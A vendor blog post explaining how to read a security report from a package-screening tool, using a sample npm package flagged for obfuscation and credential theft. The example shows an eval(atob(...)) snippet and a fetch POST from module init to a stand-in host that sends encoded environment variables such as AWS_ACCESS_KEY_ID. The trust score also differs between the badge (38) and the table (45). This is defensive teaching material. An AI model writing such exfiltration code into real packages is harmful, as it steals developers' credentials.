Skip to content
← Blog

Technical explainer

How to read a Veln security report

2 min read

When Veln produces a non-allow verdict, it generates a security report in the Console at app.veln.sh/approvals/[id]. The report contains several sections, each answering a specific question. Here's how to read each one.

The verdict and score

The first thing you see is the verdict badge and trust score:

⊘ warn    npm:some-analytics@2.1.0    trust score: 38/100

The score tells you how much evidence of safety Veln collected. 38 means several signals were weak or missing. It doesn't mean the package is definitely malicious — it means it hasn't earned enough trust for automatic approval.

The signal breakdown table

The report shows each of the eight trust signals with their individual scores:

Signal                          Score    Detail
Version age (threshold: 2h)     0/20     Published 4 minutes ago
Consensus installs (min: 10)    0/25     0 community observations
Canary sandbox                  20/20    Clean
Publisher account age           10/15    Account 8 months old
Metadata coherence              10/10    All checks passed
Signing key continuity          0/5      New key (no previous version)
No new install script           5/5      No hooks added
Veln Lens                       0/5      2 findings (see below)
─────────────────────────────────────
Total                           45/100   → WARN

This breakdown tells you exactly why the score is what it is. In this example: the package is brand new (0 points for version age and consensus) and has two Veln Lens findings (0 points for the clean bonus). Everything else is fine.

The Veln Lens findings section

If Veln Lens found obfuscation patterns, each finding is listed:

Veln Lens findings  (score: 32/100)

[HIGH] eval_atob
File:    lib/tracker.js:89
Detail:  eval() called with atob() as argument.
         This pattern decodes a base64 string and executes it at runtime.
Snippet: eval(atob("aW1wb3J0IGh0dHBz..."))

[INFO] high_entropy_string
File:    lib/config.js:14
Detail:  String with Shannon entropy 5.8 bits/char (threshold: 5.5).
         May be an encoded payload or a legitimate base64 constant.

The HIGH finding is the important one. eval(atob(...)) is Veln Lens Rule 1 — the most common obfuscation technique in malicious packages. The INFO finding is lower priority and may be a false positive (config files often contain base64-encoded constants).

When you see a HIGH finding, the question to ask: is there a legitimate reason for this package to decode and execute a base64 string? For most packages, the answer is no.

The "what changed" section

For updates to packages you've installed before, the report shows a diff summary:

What changed from 2.0.9 → 2.1.0

+ New network call in lib/tracker.js:89 (inside function init())
  fetch('https://api.analytics.example.com/collect', { method: 'POST' })
  → Called in module initialization code

+ New function: _send_data() in lib/tracker.js:72
  → Called from init() with process.env data

2 files changed, +47 lines, -3 lines

The diff summary is written in plain language. "New network call in module initialization code" is the specific phrase that should get your attention — most legitimate code doesn't make outbound calls when you import a module.

The sandbox report

If the canary sandbox ran, you see a behavioral summary:

Sandbox verdict: suspicious

Network calls:   1 outbound attempt
  → https://api.analytics.example.com/collect (POST) — BLOCKED
Filesystem:      0 writes outside package directory
Processes:       0 subprocesses spawned
Env vars read:   AWS_ACCESS_KEY_ID, GITHUB_TOKEN, HOME, PATH

Note: The outbound POST contained base64-encoded data including
      values from environment variables.

This is the most actionable section. The sandbox tells you what the package tried to do. In this case: it tried to POST to an analytics endpoint, and the POST contained encoded environment variables including AWS_ACCESS_KEY_ID. That's a data exfiltration attempt. The sandbox prevented it from succeeding, but it tells you with certainty what the package intended.

Making the decision

After reading the report, the decision tree is:

If the sandbox shows credential-adjacent env vars in a POST to an external endpoint: REJECT. This is a data exfiltration payload.

If Veln Lens shows HIGH findings with no legitimate explanation: REJECT. Review the specific file and line. If you can't explain why a base64 decode and eval is present, the package is likely malicious.

If the only reason for the WARN/HOLD is age and zero community installs: Investigate the publisher, check the package on PyPI/npm, read the source on GitHub. If everything looks legitimate, APPROVE and note "reviewed source, looks clean."

If you're unsure: Post the report link to your security team or ask in your company's #security channel. The report URL is shareable — app.veln.sh/approvals/[id].


Every Veln report is designed to give you enough information to make a confident decision.